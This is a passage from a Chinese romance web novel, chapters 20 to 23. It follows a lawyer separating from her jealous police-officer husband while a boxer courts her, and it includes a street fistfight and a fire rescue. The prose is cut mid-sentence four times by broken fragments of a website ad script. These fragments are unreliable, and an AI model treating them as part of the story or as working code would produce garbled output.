余琛回到座位,两人一时无言,空气中却似有微小的火花在爆裂,噼里啪啦的,林茜觉得热得很。 幸好服务员及时出现,上了一盘凉拌青笋。刨得细细的笋丝在嘴里一嚼就断,鲜爽的汁水充盈口腔,林茜大口大口吃着,像在享用什么山珍海味。 余琛知道她是紧张了,并不戳破,因为他自己也有点。喝了口茶安下心来,再看林茜,怎么看都觉得可爱。 林茜边吃边用手捋了捋耳边的碎发,顺便用余光看了眼余琛。奇怪,怎么有种手忙脚乱的感觉? 瞥到余琛正喝着茶注视自己的时候,这种感觉更强烈了。一个不注意,呛到了,好社死。 余琛走过来轻轻拍了拍她的背,林茜并没有好一点。他太高大了,弯下腰拍她的时候,她整个人都被笼罩在他的气息里,内心慌乱,忍不住逃离。 好在余琛只拍了两下就停手了,给林茜倒了杯茶又回到自己的位置,林茜在心里舒了口气,终于恢复清明。 林茜,你在大惊小怪什么啊,拿出气势来!林茜在心里暗骂自己不中用。 余琛见她眼波流转,虽然不知道她在想什么,却也觉得有趣,含笑看着。 林茜一抬头,正对上余琛的目光,顺势打开了话题:“你什么时候过来订的位置啊?我记得这家餐厅11点才营业。” “你去拿合同的时候,电话订的。还合口味吗?” “嗯,不错。”林茜看着只剩半盘的笋丝,有点不好意思。 “你平常加班,吃饭大概也不太规律,吃清淡一点,下午会舒服一些。这家的猪肝汤做得很好,现在天气凉了正适合喝。” “诶?你之前来过这边吗,对这家餐厅这么了解?” “嗯,谈事情路过。” 知道林茜在这里上班后,余琛就悄悄地把周围都熟悉了一遍。开始是防着案件的对家再对林茜下手,后来顺便把一些不错的饭店和咖啡厅也留意了一下,方便有机会的时候约林茜来吃。 当然,这些就没必要对林茜说了。 “你对吃真的很有研究。”林茜想起余琛带自己吃过的两次都还不错,一时也有点期待余琛自己的手艺怎么样,半是调侃地说:“就是不知道做的怎么样了?余大厨,请问您有什么拿手菜?” 余琛认真答道:“广式比较拿手,盐焗鸡、芙蓉虾、萝卜牛腩煲、咸蛋蒸肉饼都比较常做。当然,还要看你喜欢吃什么。” “我喜欢吃什么都可以吗?”林茜的兴味来了。 “当然。” “那我要满汉全席~”林茜捉弄余琛。 “好。但要时间,一次吃不了那么多,我可以一道一道做给你吃。”余琛还是认真地说道。 满汉全席有一百多道菜,一道一道吃,得吃到猴年马月去? 可余琛太真诚了,林茜一时分不清他是认真的还是在顺着她发疯,顺势又夹了一口笋丝,借着吃东西糊弄过去。 一餐饭吃的还算舒心。学生时喜欢一些重口味的东西,麻辣、油炸、烧烤,现在日日忙着揾食,反倒更喜欢清粥小菜。无他,只是好消化又能提供营养,不要在繁忙的工作日占据她更多注意力就好。 饭后余琛送林茜回到律所,临别时说:“几点下班?你的脚不方便,今天我送你回去吧。” 林茜推辞:“不用这么麻烦,我打车就好了。你刚回来也需要休息吧。” 余琛沉默了一下,“是不是我之前给你添麻烦了,你担心关警官误会?” 余琛这么一问,林茜反倒没法拒绝了。上次的事她本来就欠了余琛一个大人请,余琛却说自己给她添麻烦了,这谁受得了。 林茜道:“没有。我……五点半下班,那就麻烦你了。” “好。”余琛微笑着答道,站在律所门口看着林茜的背影消失在前台之后才离开。 “诶,你有没有觉得林律师这个客户有点眼熟啊?”前台两个小姑娘刚吃过午饭,一人手里握着一杯奶茶在消食。小蓝吸了一个珍珠丸子,边嚼边问。 “啊?没有啊,你看他像谁啊?”苏杭已经有点犯困了。 “也不是像谁,就是好像在哪见过……”小蓝自言自语,瞥见苏杭正在扒拉同城热点,一下想起来了:“哦!那个,那个那个拳王!”边说还边比划了一记右勾拳。 她这么一说,苏杭也有点印象了,“林律师业务范围挺广啊,以为她客户都是做生意的呢。” “哎呀,这不是重点。重点是这个拳王和林律师关系不错!”小蓝放低声音,挤眉弄眼。 “你要说这个我可不困了啊!”苏杭的眼睛瞬间睁得像铜铃,“快说快说,怎么回事?” “就是,上周四,林律师不是去开庭了吗?晚上7点来钟的时候,林律师的老公气冲冲得来了,诶呦那天你不在你不知道,老吓人了!说联系不上林律师,要她助理的电话。那我哪能给啊,找不着人报警啊,谁知道他是真老公还是冒充的呢?” “林律师是老公好像就是警察吧……后来呢?”苏杭小声问。 “后来他就逼我给林律师打电话。” “逼你?”苏杭吃了一惊。 “是啊!那压迫感老强了!我寻思就打一个试试吧,他要还胡搅蛮缠我就得报警了!后来你猜怎么着?还真是!” “啧啧,林律师不愧是女强人,找的老公 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也这么强悍。”苏杭吸了口凉气。 “再后来吧,这事儿就有点扑朔迷离了,那天不是上了个热搜吗,说见义勇为反被捕什么的,后来有小道消息说,那个被救下来的女的就是林律师!而且我听林律师助理提过一嘴,林律师好像要离婚了……”最后这一句,声音小到几不可闻。 “哎呦我去!英雄救美啊!等会!那那个抓了拳王的人,不会是林律师老公吧?!”苏杭顺着推理,越说越兴奋。 小蓝虽然觉得这样也太巧了,可八卦当然是越狗血越好,干脆压起注来,“你说要是真的,这俩你站谁啊?其实论外形,两个都不错,她老公还年轻一点。就是这脾气也太差了,我站拳王!” “我肯定站拳王啊!台上勇猛凶悍,台下斯文有礼,这反差也太绝了。人又细心,还知道带礼物给林律师的同事。你没看刚刚在玻璃门外,拳王可是看着林律师走进去了才走的,我赌他对林律师绝对有意思!” 两个前台小姑娘说的小话林茜没听到,她照例一头扎在工作中,甚至今天的效率还要更高一点。毕竟说了五点半下班,不好让余琛等。 五点刚过,余琛就到了地下停车场。看着时间差不多了,又来到律所,正巧林茜从办公室出来。两人说笑着一路出门。 小蓝和苏杭看着两人的背影挤眉弄眼,都有一丝我担获胜的小小快意。 余琛想着要不要请她吃晚饭,又担心太频繁了会惹她反感。正犹豫间,林茜传给他一个地址,“我住的地方,谢谢你啦。” 余琛看到地址,有一丝诧异。这不是她家? 余琛不动声色地把地址输入导航,知道她的工作地点没什么,可连她家的住址也很清楚,就有点说过不去了。 他决定装作不知道,旁敲侧击:“这里离你住的地方不远,只是下班高峰容易堵车。” “大概一小时的路程吧,我平常坐地铁过来,差不多也是一小时。” “平常都坐地铁吗,那下雨下雪不是很不方便?”余琛顺着问道。 “就打车咯。我之前住的地方更近一些,所以也还好。” “你搬家了吗?”余琛切入正题。 “没有,我……现在住在朋友家。就是姚佳莉,她是运动博主,之前就对你很好奇,不知道你有没有兴趣和她一起出一期视频?当然,这要看你自己的意愿。”林茜想起老姚之前的嘱托,正好今天余琛送自己回去,有机会两人见个面,看能不能合作。 这个回复倒是出乎余琛意料,“可以见面聊。”接着又问:“你那边出什么事了吗?”余琛没错过重点。 “啊?哦,我和我先生分居了。”提到自己的生活,林茜也没隐瞒。 “是因为我吗?他为难你了吗?”余琛放在方向盘上的手悄悄握紧了一点。 “和你那件事没关系,他也没有为难我。是我们两个需要冷静一下。”冷静一下再分开,这是林茜对这段关系的判断。 余琛不再说话,他不能表现出高兴,毕竟是在一段感情出现裂痕的时刻。可他由衷地觉得,照在他身上的那束光,慢慢地,慢慢地,扩大了。 开进姚佳莉的小区,把车停好。余琛扶着林茜下来,慢慢走到单元楼前。夕阳把两人的影子拉的很长,像一对相互依偎的恋人,余琛恍然间好像看到五十年后的光景。 直到被一声怒喝惊醒:“余琛?!” 阴影里走出一个人。 21. 第 21 章 这声音好耳熟,还没反应过来,林茜的手先哆嗦了一下。 余琛马上握住她的手安抚她:“没事。”顺便把她挡在了身后。 那个高瘦的身影走到夕阳下,原来是关昊。 关昊盯着余琛,散发出危险的气息。林茜有种错觉,关昊原本就不长的寸头,好像一根根都立起来了。 关昊没有马上发难,而是声音低沉地说:“林茜,你过来。” 林茜直觉不妙,关昊一定是误会了。低下头一看,余琛竟然还握着自己的手。 完了,这下误会大了。 林茜悄悄抽出自己的手,立时有了判断。余琛一向有分寸,当务之急,先让关昊冷静下来。 正要迈步往关昊那边走过去,没想到余琛伸手拦住了他。 林茜惊讶地看着余琛,只听到余琛说:“别过去,危险。” 关昊彻底爆发了,你他妈勾引我老婆还好意思说我危险?也顾不得林茜在旁边了,爆冲过去一拳直指余琛面门。 余琛专业格斗选手也不是吃素的,在关昊动身时已经有察觉,但顾及林茜就在这就没有躲开,而是在关昊快到时抬起腿一个侧踢,逼得关昊不得不闪身。 余琛这一脚激怒了关昊,但这一闪身的功夫也让余琛和林茜拉开了距离,余琛退到离林茜五步之外,关昊也已经到了近前,两人在空地上厮打起来。两个人都是硬碰硬的打法,不闪不避,拳拳到肉,很快脸上就都挂了彩。 余琛近身格斗经验更多,打架不落下风,但关昊打起来简直不要命,两人一时打成平手,难解难分。 林茜根本想象不到两个三十几岁的人了竟然还用这种中学生的方式解决问题,大呼住手,但无济于事。 有几个带孙子在楼下玩的老太太一看这架势躲得老远,也有人远远地围观,时不时指点一下。还有人在打电话,不知是在通知物业还是在报警。 不能让事情更糟了。 林茜对着关昊大声说:“关昊,别逼我起诉你!” 这一下确实让关昊停了下来,余琛也就顺势停了手。 关昊不可思议地看着林茜:“起诉我,为了他?” “除非你肯好好听我说话,把事情说清楚。”林茜看着关昊,冷静地说。 “还要怎么清楚?我都亲眼看见了!我冤枉你了?还是冤枉他了?你他妈就是为了他要跟我离婚!”关昊吼道。 林茜深吸一口气,走过去拉起了他的手,温和地说:“我们回家,我和你说清楚。” 林茜感觉到关昊的愤怒慢慢平息了,像受尽委屈的小孩终于得到母亲的安抚。他的拳头松开了,不再剑拔弩张,只是紧紧回握住她的手。 林茜转头对着余琛道:“今天的事对不起,我会处理好,给你一个交代。” 余琛的颧骨泛青,嘴角破了,渗着血。原本视线一直追随林茜的他听到她的话后没有立刻回答,而是低下头看着路边,缓慢地答了一个“嗯。” 林茜心里忽然有一丝不忍,余琛永远是这样,从不抱怨,从不要求,最多只是沉默。 关昊的神经又紧绷起来,松开林茜的手,换了个环抱的姿势,直接揽着林茜往自己车上去了。 林茜回到了阔别几天的家,先给老姚发了个信息,说自己今天有事不回去了。 没想到老姚秒回:“知道了,两名帅哥为一路边女子大打出手,小区群里都传疯了。幸亏天快黑了看不清脸。不过这俩身手都不错啊,技术上余琛更成熟,冲劲儿上关昊更猛。啧啧,血脉崩张。” 紧接着又发了一个视频过来,是路人拍的两人打架的一部分,画面有些抖,中间穿插着路人的惊呼。 林茜扶额,没想到事情发展成这个走向。 关昊瞥到姚佳莉发来的视频,知道自己又搞砸了,但他不后悔。是个男人看到那一幕都忍不了的,他没错。 兀自想着,林茜已经拿了药箱来,用蘸湿的棉签帮关昊清理伤口。关昊脸上感到一丝凉意,心里也舒服起来,和林茜聊天;“这个之前放哪呀,我怎么都没找到?” 林茜顺口问道:“你找它干什么?生病了?”接着就想起来了,哦,拉肚子么。 关昊毫无所觉,梗着脖子说:“是啊,你不在家,我不就生病了吗。” “生病是你没有照顾好自己,和我没有关系。”林茜涂清创药。 关昊疼的龇牙咧嘴。 林茜嘴上说着:“你活该。”下手却更轻了一点。心里又想,余琛是不是也伤得这么厉害? 关昊挨了林茜一句怼,心里却有些小小的高兴。他其实不怕疼,他只是想林茜多关心他一点。 处理完脸上的伤口,关昊自觉地把上衣脱了,露出赤裸的上身来。中间挨了余琛一脚摔倒绿化带的牙子上,现在后背还有些火辣辣的疼。 可家里没有散淤的药,林茜只能说:“没有现成的药,先冰敷一下吧,等下我出去买。” “不用那么麻烦。”原本仰头看着林茜的关昊直接伸出手抱住了她,把脸埋在她怀里,瓮声瓮气地说:“你只要抱着我,我就不疼了。” 得,刚上好的药,有七七八八都留在了林茜的衬衫上。 手机屏幕亮了起来。今天开会,林茜把手机调成了静音。关昊还抱着林茜不撒手,一无所觉。 林茜直接从桌子上捞起看有什么信息。 是余琛发来的。 余琛说:你的脚也需要按时用药。 林茜心里五味杂陈,他自己都那样了,还在惦记她有没有按时用药吗? 低头看看关昊,有些事,终究是要有个了断。 “关昊。”林茜叫道。 “嗯?”关昊搂着她的腰,把头埋得更深了一点,像一只鸵鸟。 “对不起。” “我不听。” “你为什么不同意离婚呢?”那么轻柔的语气说出来的话却像是一句审判。 关昊抬起头来看着林茜:“不是你的错。是余琛勾引你的对不对?是他故意接近你,缠着你,他没安好心是不是?你说是我就信。” “不是这样的。” “你连骗我都不愿意吗?你是不是心里有余琛?” 林茜想说“我没有”,可她发现说不出口,顿了顿只说了句:“余琛是我很重要的朋友。” “有多重要?比老公还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 重要吗?”关昊追问。没等林茜回答,又自暴自弃地说:“算了我不想听。” 关昊放开林茜,从沙发上起来抱着被子去了书房,过了一会又打着电话出来了。 “上头有任务,我得出趟门,你在家安心住着吧,等我回来。”关昊挂了电话对林茜说。 算上恋爱,他们在一起有四年了,鲜少有这样紧急出任务的时候,林茜利落地帮关昊收拾好一只小小的行李箱,叮嘱了一句:“万事小心。” 关昊已经穿好了外套,又一把抱住林茜,在她额头落下一个吻,“等着我。”然后拎起箱子,出门走了。 关昊一走,房间显得空旷起来。林茜站在客厅里,看着这个生活了三年的家,遗憾大过留恋。 既然要分开,就分开的干净一点吧。 第二天林茜请了假。余琛打电话到律所时得到这个消息,心里有些担忧。 关昊的暴脾气他见识过,完全不敢想象在他的盛怒之下林茜怎么办。昨晚的信息她还没有回复。余琛越想越担心,安耐不住,给林茜打了电话。 电话那头倒是有些热闹,听起来像有很多人。 原来林茜正在看房子,离单位很近,地铁三站地的距离。 看房子?那就意味着他们没有和好,林茜也不是在闺蜜家小住几天,而是要真正的分居了。 余琛迫不及待地赶到了她身边。他实在忍受不了,再和她错过一次了。 林茜做事雷厉风行,昨天收拾东西到后半夜,一大早就去找了房屋中介,看到第二家还不错就当场签了合同。一切都很顺利。 直到看到余琛的脸时,林茜有些愧疚,这回比在警局那次严重多了,两次都是因为自己。 “还疼吗?”两人从租的小区里出来,慢慢踱步在路上时,林茜抱歉地问。 “没事。你要搬出来吗?” “嗯,找个落脚的地方,不能一直住在朋友家。” “你们昨天……聊得怎么样?”余琛问道。 林茜对余琛没有隐瞒:“上周五和他提了离婚,他不同意。我搬出来住到了老姚家。昨天闹了那一场,不知是不是巧合,他出差了。我想趁这几天把住处安排好,也要为以后打算了。” “有什么要我做的,你尽管说。”余琛认真道。 “有。”林茜转过头看着余琛。 “什么?” “照顾好自己,不用太关心我。这两次的事,都是我连累你,我很抱歉。” “如果你觉得抱歉,那……能不能答应我一个小小的请求?”余琛试着问。 “你说。”余琛第一次提要求,林茜很重视。 “你搬家的第一顿饭,让我来做。” “温锅啊,”林茜笑着说,“不只是你,老姚也要过来帮忙的,还有阿生,如果他有空也可以过来一起热闹一下。” “那我算不算你第一个邀请的人?”余琛对自己是不是第一个参与到林茜新生活的人这件事异常执着。 “算,你是第一个知道的人。”林茜答道。 余琛满足地笑了。林茜第一次发现,原来他锋利的下颌角上面,还有两个小小的酒窝。 22. 第 22 章 小王开着车,正襟危坐,只有等红灯的时候才敢瞥一眼关昊。 这谁打的呀,下手也太狠了。 昨天工作群里领导说这周和帮扶城市的兄弟单位有个合办的法制宣传活动,时间大概三天,问谁想去。关昊第一个报名了。 小王还纳闷,关哥不是一向对这种活动不感兴趣吗?平常都是张平副队长去的。没想到下一条关昊就@了自己。行吧,内蒙古大草原,出差两天,就当放风了。 接着关昊就给自己打了电话,说第二天早上八点,从警局出发。7:55小王来警队一看,好家伙,一个鼻青脸肿戴墨镜的大哥摇下半截车窗,正坐在驾驶位上抽烟呢。 小王一个激灵,怎么着,什么贼这么不长眼,偷车偷到警察局来了? 正预备着从哪个方位过去制伏最好,关昊看见他了:“怎么才来啊你?” 小王一听是关昊的声音立马换了一副面孔,“诶呦关哥,今儿怎么来这么早啊?来来来,我来开车。” 关昊换到了副驾驶,小王趁机打量了一下关昊,不对劲,看着情绪不好,又一头一脸的伤,昨天也没出任务啊? 小王决定当一只鹌鹑弟弟,大哥不说,自己不问。但路上也没闲着,一边开车一边盘已知信息。关昊不爱干事务类的工作,就喜欢办案子,今天抢着去,反常。是出了什么事要出去躲一躲?昨天脸上还没伤,说明事是昨天晚上出的。 关哥可不是会吃亏的性子啊。打得这么狠,要么对方比他伤得还重,要么就是关昊自己理亏。 有意思。再联想上周五嫂子亲自来局里接余琛不说,还要和关哥离婚,这是后院起火了?可周一中午出去吃饭的时候又看见关哥背着人打电话,小王隐约听见借钱之类的。 最常见的作案动机不是为钱就是为情,好家伙,关昊一个人占俩。到底是出了什么事呢?小王的八卦之火熊熊燃烧。 关昊却很沉默,手撑在车窗上,看着窗外,罕见地流露出一丝怅惘气息。 小王忍不住搭话:“关哥,吃早饭了没呀?” “没有。” “那等加完油,咱们找个地方吃饭吧。” “都行。” 这么消沉,小王猜是为情。这可不好办了,女人心,海底针呢。不行,自己一进警队就跟着关昊,关昊算半个师父了。师父有难,徒弟当然得出力。 小王打定主意,5个小时的车程,足够挖出一些蛛丝马迹。然后他就跟李莉打听打听,就说是自己一个朋友的事。都是女人,肯定比自己清楚。 小王这还惦记着为师父排忧解难,师母那边已经开始热火朝天地搬家了。 林茜对断舍离原则一向贯彻地很彻底。昨夜扔掉了大部分自己的东西,剩下要带走的归置好,下单的打包纸箱今天一早就到了。上午看好房签了合同,预约了保洁来打扫新房,下午就开始搬家。正好今天请的一天假可以全部搞完。 余琛撸起袖子,露出结实的小臂线条,帮着搬箱子。林茜开箱分门别类地放好。等姚佳莉赶到时,都已经收拾地差不多了。 老姚见到余琛,先自报家门。 余琛说:“听茜茜提起过你。上次找媒体的事,还没来得及感谢。” 茜茜?有进展了?老姚心里的八卦雷达响起:“哪里哪里,顺手的事,还是林茜出力最多,你出事她可急坏了。” “是吗。”余琛转头看着林茜,眼神温柔。 一时间气氛有些暧昧,林茜是想开启新生活了,可没打算还没离婚就开启一段新感情,含混道:“我惹得事当然得出力解决了,别光顾着说我,你自己呢?拍摄计划有了吗?” 看林茜顺水推舟提到了她的主业,姚佳莉也不客气:“有啦有啦,余先生是这样哈,我做街头健身的。最近呢,正在出一个女子防身系列视频。正好你是格斗里的行家,不知道你对普及防身术有没有兴趣,有的话咱们可以合作一下出一期视频。拍摄场地和脚本都由我来准备。” 余琛想到林茜之前遇袭,还心有余悸。如果能让她也学几招,不管用不用得到,总是有备无患,一口答应下来。 见余琛这么爽快,老姚对余琛的印象又好了几分。 眼见着5点了,余琛说要去买菜,准备晚饭了。 老姚有几分惊讶,他准备晚饭……他什么身份啊?转念一想,也好,马上开始新生活了当然也可以有一段新感情,只要朋友过的好,其他都不重要。 老姚眼珠子一转,推着林茜道:“你这房子也是今天刚找的吧,快跟着出去熟悉一下,这里有我就行啦。” 林茜确实有有几样日用品要买又不好让余琛代劳,就跟着一起去了。附近有家沃尔玛,一进门就是蔬菜区,林茜拎了个小型购物篮,和余琛分头行动,径直上了二楼看日用品。 买完自己常用的牌子后,一下楼正好看到零食柜台,心里的痒痒虫爬出来了。有巧克力耶~ 秉承着好好爱自己的原则,林茜在吃上从来不亏待自己。想吃的时候不压抑自己,吃最好的,适量吃,既满足又不会发胖。 所以林茜住的地方都有一个零食架,是她从各地搜罗来的美食,瑞士的巧克力,日本的牛轧糖,青藏高原的青稞饼干……不过她上一个家里的零食柜常常被关昊洗劫,关昊这个大男人,也喜欢和她抢零嘴吃,还一吃就吃一整包,吃完林茜又忙着补货。 眼前这排零食柜台上没什么好吃的东西,不过仪式感还是要有的。新家的零食架已经留出来了,先选一点吧,可以给老姚备着。 想到老姚控制热量比她严格的多,林茜选了几块黑巧和一些谷物麦圈。麦圈的位置在柜台最顶层,林茜踮起脚尖去拿,一只大手越过她,先她一步拿到了。 是余琛。 余琛把麦圈放在林茜的购物篮里,又顺手接过了购物篮放在自己推车的架子上。 “晚上吃什么呀?”林茜伸着头看余琛都买了什么菜。 “想吃什么?”余琛垂眸看着她,温和的问道。 “诶……没什么特别想吃的,我只要清淡舒服就好。老姚饮食很严格,有蛋白质就行。看你和阿生喜欢什么啦。” “那就清蒸花蟹、多宝鱼、红烧肉、白灼菜心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 、节瓜瑶柱瘦肉汤,我自己家迁居还会做红糖发粿,寓意以后会红火甜蜜,我也做给你吃好不好?” “好呀。”林茜点点头,听起来就很好吃。 何广生来得反倒是最迟的,拎了一个果篮几瓶清酒。三个人在楼下相遇,余琛替他解释,拳馆有事要处理,所以他晚到了一点。 拳馆有啥事啊,老大不是半小时前才通知的我吗?阿生眼珠子一转,懂了。要给大哥大嫂过二人世界的空间,忙答道:“对对对,刚忙完,哈哈。” 四人吃得很开心,余琛尽显贤夫良父的气质,切菜颠勺,油温火候,无一不熟练精准。唯一稍稍违和的是新买的围裙穿在余琛身上略小,包裹出胸肌的轮廓,看的老姚在心里直呼林茜艳福不浅。 四人言笑晏晏,内蒙阴云密布。 谁能想到出来办个普法宣传活动,竟然出事了。 关昊和小王下午到的兴和县,宣传活动第二天才正式开始,活动的物料当地公安局已经准备好了。两头接洽后,县局的警花宝勒尔带他们去宣传科拿物料。 小王之前定位的地点是县局的新地址,上个月才搬过来的。还有几个科室还在老地址办公,宣传科就是其中之一。 三人到了之后已经五点多了,大部分人都下班了。和门卫大爷打过招呼,小王开车进了院子,在宝勒尔的指引下把车停在楼前。 是一栋三层小楼,已经很老旧了,个别办公室的空调外机挂在墙上,看起来要掉不掉的样子。楼里出来一个人正是宝勒尔的同事,笑着打招呼:“这是北京来的同行吗?” 宝勒尔回道:“是啊,带他们来拿物料。今天怎么就你自己走啊?珍姐呢?” “她刚去对面接了她女儿过来写作业,她还有事没忙完,今天得加班了。” “珍姐真不容易。”宝勒尔感慨道。 说话间珍姐也出来了,手里拿了一叠资料。几人又打了招呼,各自送别。 等到进了大厅,关昊闻出一丝异样。 “什么味道?”关昊皱着眉头问。一丝若有若无的焦糊味不知从什么地方传来。 小王和宝勒尔也闻到了,宝勒尔马上通知传达室的大爷拿着备用钥匙过来,挨个检查看是不是有房间着火了。同时三人分头先在一楼查看。 几分钟过去,三人在一楼大厅回合,没找到失火点,味道却越来越重了。关昊有种不详的预感,“先报警,打119!” 小王立马拨通119,身边却突然发出一声惊呼:“是那,民二庭的办公室!”关昊和小王顺着宝勒尔指着的方向看去,二楼拐角处的一个房间里已经渗出浓烟,看来里面的火势不小了。 宝勒尔忽然惊恐:“珍姐!那是珍姐的办公室,她的孩子还在里面!” 等不及了,关昊扫视一圈,搬起大厅饮水机上的水桶,把里面的半桶水全浇到了自己身上,又把淋湿的外套脱下蒙上头脸。 “关哥,太危险了!”小王心里也着急,可他不想关昊冒险。 “我怕里面的人出事!”关昊管不了那么多了,一把推开小王,冲上了二楼。 23. 第 23 章 林茜接到电话的时候,正在和会计确认收到的律师费,助理在一旁刚刚帮她订好周一飞杭州出差的机票。 小王十万火急的声音在电话那头响起:“嫂子,关哥在出任务的时候受伤了!你快过来吧!” 在第一医院,烧伤科。 林茜心下一片不安。关昊当时就走得急,烧伤了,情况很危险吗? 林茜把手头的事拢一拢,几句话向助理交代好,一个人去了医院。 到了医院,林茜没直接去病房,先去护士台打听了一下情况。还好,轻度烧伤,已经在当地医院处理过了,估计是长途坐车休息不好,人有点低烧,要住院观察一晚。 一进病房,先看到一条缠满绷带的腿晾在床尾,林茜吓了一跳,再一看,是个胡子拉碴的黑胖大哥,不是关昊,暗暗舒了口气。 中间的床位空着,关昊在最里面靠窗的位置。小王已经看见林茜了,赶紧过来迎她:“嫂子来啦!关哥可惦记你了,本来医生不让出院,关哥怕你担心,硬是开车回来了。” 林茜看着关昊,好像又瘦了一点,人还算精神,下巴泛青,应该是刚刮过胡子不久,右边的小臂缠了几圈绷带,吊在胸前。 “你怎么样,还发烧吗?”林茜问关昊。 “没事,你不用听小王的,没那么严重。” “嫂子,您怎么看出关哥发烧了呀?”小王想着嫂子的观察力这么厉害吗。 “我来的时候问过医生了。” “哦哦,您可真关心关哥,哈哈。”小王奉承着,暗自庆幸自己没再夸大伤情,要不就露馅了。 “除了手臂,还有其他伤到的地方吗?有没有做全面的检查?” “没有,没事。”关昊嘴上矜持,悄悄把手往回收了收。 林茜顺着看去,隐约看到什么凸起,轻轻拉过他的手,“怎么了?让我看看。” 看到几个晶亮的水泡。像是烫伤。 “这次出的是什么任务,怎么这么危险?”林茜忍不住问道。 关昊不说话,脸上却有了一点笑意,看了一眼小王。 小王立马领会关昊的意思:“啊,那个,有纪律哈嫂子,不方便说。不过关哥是真的勇猛,当时情势可危急了,那浓烟都冒出来了,关哥还冲进去救人!你看,这不人家还送来了锦旗。”说着指了一下桌角。 也不等林茜问了,小王主动打开,上面写着“人民卫士,忠勇担当”八个大字,红底黄边,烫金的隶书,确实是致谢锦旗。 “救人也要保护好自己,当时是着火了吗?还是有爆炸?太危险了。”比起荣誉,当然还是眼前活生生的人更重要。 “嗯。”关昊含笑应着,享受着老婆的关怀。老婆还是在意自己的。 正高兴间,关昊又看了小王一眼,那意思很明显了,该回哪回哪吧,别打扰我和老婆的二人世界。 小王本来还想替关昊再说几句好话,一看气氛挺好,关昊就开始送客了。得,我也挪地方吧。 要离开的话还没出口,门口响起两下敲门声,接着一行人就进来了。 林茜认出是关昊的同事,站起来迎接。 副队长张平走在最前面,先过来安抚家属:“弟妹,对不住,本来这种法制宣传的活动都是我去的。这回关昊体恤老同志,主动报名去了,谁知道摊上这么个事。” 林茜一听就明白了,也不戳破,顺着说道:“是,意外总是想不到的。这事是怎么发生的呢?我过来的急,还没听他们细说。” “也是巧了,兄弟单位的办公地点正在搬迁,他们去老地址的宣传科拿物料,结果一个办公室的电线老化失火了。里面还有个女同志的孩子,关队一马当先,冲进去救人。哎,小王你不在现场吗?你赶紧的,把当时的情况给我们仔细说说!” 小王哪能想到,关哥嘱咐自己的别透露出差内容,一来就被张副队长透了个底掉,只能极力渲染一下关昊发现情况的敏锐,当时火情的危急,关昊判断的迅速和救人的果断。 和张平一起来的还有两个今年新来的李莉和赵诚。两人和关昊都是一个学校毕业的,在警校时就听过关昊的威名,现在再听小王这么一描述,显然是又激动又佩服。 听到关昊抱着孩子冲出来时外套都包住了孩子,自己的手臂也是因此烧伤时,李莉亮晶晶的眼睛里明显多了丝心疼。 关昊没留意两个下属的反应,他的注意力一直在林茜身上。当初是说出紧急任务才走的,现在被爆出来是自己主动要求出去搞宣传活动,这不做实了自己当初是怂了,自己先跑了吗。 关昊生怕林茜觉得他胆小没担当,所以一直留意着林茜的反应。 还好,林茜看起来也挺动容的,应该没减分。 林茜知道小王的叙述里有夸大的成分,但险情是真的,救人也是真的,她知道关昊又一向爱面子,也不吝啬流露出感动和赞叹。 张平听得则是心潮澎湃,这就是年轻人啊,一腔孤勇,多好的警队宣传材料。回头让宣传部门安排一个采访,最好就在医院完成,趁热打铁宣传一拨,做好事得留名,发挥积极效应,顺便今年单位的先进事迹就有了。 看着时间差不多,张平就提出回去了,采访得尽早安排。小王也带着锦旗回去交差。 门口的绷带腿大哥听了一下午绘声绘色的光辉事迹,现在也心满意足地躺在床上休息。 又剩下林茜和关昊。 “累了吗?”林茜看关昊的神色有些疲惫。 “不累。”关昊注视着林茜。终于没人了,他觉得现在就很好。 “还烧吗?”林茜听小王说他们是从早上开了5个小时的车回来的,长途跋涉,担心他傍晚又烧起来。 “你试试不就知道了。”关昊的眼神里透过一丝狡黠。 林茜知道他的小心思,可是和病人计较什么呢?伸出手去试他额头的温度。 还好,不烫。 一触即离,却被关昊捉住了手,轻轻放在他的脸上。 关昊闭着眼睛,蹭了蹭林茜的手。 林茜手指蜷缩,心里颤了颤,有些难过。 这样的依恋,要是来得早一些就好了,早在他们恋爱的时候,不是一吵架就只留给彼此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 背影;早在他们刚结婚的时候,不是一提戒烟就只有敷衍和沉默;早在余琛刚出现时,不是暗自查访和偷偷防备。 太迟了。 关昊睁开眼,就看到林茜满是遗憾的眼神。 心里的恐慌又来了。他紧紧抓住林茜的手,却不敢再看她的眼睛,怕她一开口就说抱歉。 关昊捉着林茜的手放在胸口,和自己那只被吊在胸前受伤的手并排放在一起,看起来乖巧又无害。 林茜也不再说伤人的话,问关昊有什么想吃的。 关昊像暗暗躲过一劫,轻松地说:“都好。” 林茜出去买吃的,也借这个机会梳理了自己的心绪。 关昊需要人照顾,至少要一周的时间。可自己已经搬出来了,再回头只会反复拉扯,让两个人更受伤。而周一还要出差,是重要的工作。 晚上医院不能陪床。林茜和关昊约好第二天来接他的时间就回去了。 关昊恋恋不舍地道别,林茜满腹心事地离开。 到家门口时,门把手上挂了一个袋子,打开之后里面是一个餐盒和一张卡片。卡片用繁体中文写着:我烤的青稞饼干,第一次做,不介意的话尝尝看。——余琛 搬家时随口提到喜欢的零食,他竟然自己做出来了。 提着袋子进了屋,僵硬的脖颈终于放松下来。 林茜打开餐盒,问到曲奇的香气。饼干应该是放凉后才放进去的,脆脆的,一点都没有绵软。不甜,隐约有松茸的味道,还有很清新的高原麦香。 在医院低落的心情终于好了一点,林茜拿起手机回了一条:很好吃,原来余生除了是粤菜大厨,还是糕点师傅,敬佩敬佩。 余琛的电话很快打了过来,林茜听到对面嘈杂的背景音:“你在外面吗?” “在机场。有事要回一趟香港,不会太久。老样子,有什么事可以找阿生帮忙。” “哦,好的,那路上小心。”刚回来就要走啊,余琛也这么忙。 “茜茜,”余琛的声音在那头响起。 “嗯?”林茜的声音闷闷的。 “我会想你的。” 林茜的心重重跳了一下。 *** 第二天是周六,林茜起了个大早,先去原来的住处开了关昊的车,然后去医院接他。 